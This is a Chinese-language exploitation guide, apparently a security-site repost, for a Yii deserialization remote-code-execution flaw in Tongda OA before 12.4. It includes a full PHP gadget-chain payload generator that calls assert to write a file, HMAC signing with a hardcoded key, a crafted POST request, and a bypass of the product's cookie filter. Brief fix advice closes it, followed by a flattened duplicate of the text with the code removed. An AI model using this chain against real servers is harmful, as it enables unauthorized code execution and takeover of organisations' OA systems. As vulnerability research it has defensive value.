通达OA <12.4 反序列化漏洞分析
字数 1317 2025-08-24 10:10:13

通达OA <12.4 反序列化漏洞分析与利用指南

漏洞概述

本漏洞是通达OA系统中Yii框架的反序列化漏洞,影响版本低于12.4。攻击者可通过构造恶意的CSRF Token触发反序列化操作,最终实现远程代码执行。

前置知识

1. Yii框架版本确认

通达OA 11.10使用的Yii框架版本为2.0.13-dev,可通过以下代码确认:

static public function getVersion() {
    return "2.0.13-dev";
}

2. Yii CSRF Token配置

Yii框架默认开启CSRF验证,配置方式有三种:

  • 单个Controller开启:public $enableCsrfValidation = true;
  • 全局开启:在/config/main.php中设置
  • 针对数据流设置:在Request.php中设置$enableCsrfValidation = true

3. CSRF Token格式

CSRF Token在Cookie中的格式如下:

_csrf=[0-9a-zA-Z]a:2:{i:0;s:5:"_csrf";i:1;s:32:"[0-9a-zA-Z]"}

示例:

_csrf=1e21c37c4e981a0a44b6ae2c6af5f73007458c445682db139b040fc8262a9266a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22brBzjgY3PLWqhQtyweObnwZg74YP17Fn%22%3B%7D

漏洞分析

1. 反序列化触发点

漏洞触发点在yii/helpers/BaseHtmlcsrfMetaTags方法,该方法会调用yii/web/Request::getCsrfToken获取CSRF Token。

关键调用链:

  1. csrfMetaTags() -> getCsrfToken()
  2. getCsrfToken() -> loadCsrfToken()
  3. loadCsrfToken() -> getCookies() -> loadCookies()

loadCookies()方法中,对Cookie值进行验证后执行反序列化操作:

$data = @unserialize($data);

2. 通达OA调用csrfMetaTags的位置

general/appbuilder/views/layouts/main.php中调用了csrfMetaTags方法:

echo yii\helpers\Html::csrfMetaTags();

触发漏洞的路由为:/general/appbuilder/portal/gateway/?

3. 反序列化利用链

利用链构造如下:

  1. 起点yii\db\BatchQueryResult__destruct方法
  2. 第二步:调用yii\db\DataReaderclose方法
  3. 第三步:调用yii\redis\Connection__call方法
  4. 第四步:调用yii\base\Componenttrigger方法
  5. 终点:通过yii\rest\CreateAction执行任意代码

完整利用链:

yii\db\BatchQueryResult -> 
yii\db\DataReader -> 
yii\redis\Connection -> 
yii\base\Component -> 
yii\rest\CreateAction

漏洞复现

1. 生成反序列化Payload

<?php
// step4 - 最终执行点
namespace yii\rest {
    class CreateAction {
        public $id;
        public $checkAccess;
        public function __construct() {
            $this->checkAccess = 'assert';
            $this->id = "file_put_contents('hgsd.php','<?php echo 123;?>')";
        }
    }
}

// step3 - 触发call_user_func
namespace yii\base {
    use yii\rest\CreateAction;
    class Component {
        private $_events = [];
        private $_behaviors = 1;
        public function __construct() {
            $this->_events = ["afterOpen" => [[[new CreateAction(), "run"], "a"]]];
        }
    }
}

// step2 - Redis连接处理
namespace yii\redis {
    use yii\base\Component;
    class Connection extends Component {
        public $redisCommands = [];
        public $hostname = '';
        public $port;
        public $password;
        public $username;
        public $connectionTimeout;
        public $dataTimeout;
        public $database;
        public $unixSocket;
        private $_socket;
        public function __construct() {
            $this->redisCommands = ['CLOSE CURSOR'];
            $this->_socket = false;
            $this->hostname = '127.0.0.1';
            $this->port = 803; // 可连接的任意本地端口
            $this->unixSocket = false;
            $this->connectionTimeout = 5;
            parent::__construct();
        }
    }
}

// step1 - 反序列化起点
namespace yii\db {
    use yii\redis\Connection;
    class DataReader {
        private $_statement;
        private $_closed = false;
        private $_row;
        private $_index = -1;
        public function __construct() {
            $this->_statement = new Connection();
        }
    }
    class BatchQueryResult {
        public $batchSize = 100;
        public $each = false;
        private $_dataReader;
        private $_batch;
        private $_value;
        private $_key;
        public function __construct() {
            $this->_dataReader = new DataReader();
        }
    }
}

// 生成Payload
namespace {
    use yii\db\BatchQueryResult;
    echo base64_encode(serialize(new BatchQueryResult()));
}

2. 生成HMAC哈希

使用SHA256算法计算Payload的HMAC哈希:

<?php
$pureData = base64_decode('生成的Payload');
$calculatedHash = hash_hmac('sha256', $pureData, 'tdide2', false);
echo $calculatedHash;

3. 构造HTTP请求

请求示例:

POST /general/appbuilder/web/portal/gateway/? HTTP/1.1
Host: target.com
Cookie: _GET=生成的HMAC哈希+URL编码后的Payload
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

绕过防护

通达OA在inc/common.inc.php中对Cookie进行了过滤:

if (0 < count($_COOKIE)) {
    foreach ($_COOKIE as $s_key => $s_value) {
        if ((substr($s_key, 0, 7) == "_SERVER") || 
            (substr($s_key, 0, 8) == "_SESSION") || 
            (substr($s_key, 0, 7) == "_COOKIE") || 
            (substr($s_key, 0, 4) == "_GET") || 
            (substr($s_key, 0, 5) == "_POST") || 
            (substr($s_key, 0, 6) == "_FILES")) {
            continue;
        }
        if (!is_array($s_value)) {
            $_COOKIE[$s_key] = addslashes(strip_tags($s_value));
        }
        $s_key = $_COOKIE[$s_key];
    }
    reset($_COOKIE);
}

绕过方法:将_csrf改为_GET_POST等不会被过滤的键名。

修复建议

  1. 升级通达OA到最新版本
  2. 禁用不必要的路由访问
  3. 修改默认的cookieValidationKey
  4. 对Cookie值进行更严格的过滤

参考

  • 通达OA官方更新日志
  • Yii框架安全公告
  • 先知社区原始分析文章
通达OA <12.4 反序列化漏洞分析与利用指南 漏洞概述 本漏洞是通达OA系统中Yii框架的反序列化漏洞,影响版本低于12.4。攻击者可通过构造恶意的CSRF Token触发反序列化操作,最终实现远程代码执行。 前置知识 1. Yii框架版本确认 通达OA 11.10使用的Yii框架版本为2.0.13-dev,可通过以下代码确认: 2. Yii CSRF Token配置 Yii框架默认开启CSRF验证,配置方式有三种: 单个Controller开启: public $enableCsrfValidation = true; 全局开启:在 /config/main.php 中设置 针对数据流设置:在 Request.php 中设置 $enableCsrfValidation = true 3. CSRF Token格式 CSRF Token在Cookie中的格式如下: 示例: 漏洞分析 1. 反序列化触发点 漏洞触发点在 yii/helpers/BaseHtml 的 csrfMetaTags 方法,该方法会调用 yii/web/Request::getCsrfToken 获取CSRF Token。 关键调用链: csrfMetaTags() -> getCsrfToken() getCsrfToken() -> loadCsrfToken() loadCsrfToken() -> getCookies() -> loadCookies() 在 loadCookies() 方法中,对Cookie值进行验证后执行反序列化操作: 2. 通达OA调用csrfMetaTags的位置 general/appbuilder/views/layouts/main.php 中调用了 csrfMetaTags 方法: 触发漏洞的路由为: /general/appbuilder/portal/gateway/? 3. 反序列化利用链 利用链构造如下: 起点 : yii\db\BatchQueryResult 的 __destruct 方法 第二步 :调用 yii\db\DataReader 的 close 方法 第三步 :调用 yii\redis\Connection 的 __call 方法 第四步 :调用 yii\base\Component 的 trigger 方法 终点 :通过 yii\rest\CreateAction 执行任意代码 完整利用链: 漏洞复现 1. 生成反序列化Payload 2. 生成HMAC哈希 使用SHA256算法计算Payload的HMAC哈希: 3. 构造HTTP请求 请求示例: 绕过防护 通达OA在 inc/common.inc.php 中对Cookie进行了过滤: 绕过方法:将 _csrf 改为 _GET 、 _POST 等不会被过滤的键名。 修复建议 升级通达OA到最新版本 禁用不必要的路由访问 修改默认的 cookieValidationKey 值 对Cookie值进行更严格的过滤 参考 通达OA官方更新日志 Yii框架安全公告 先知社区原始分析文章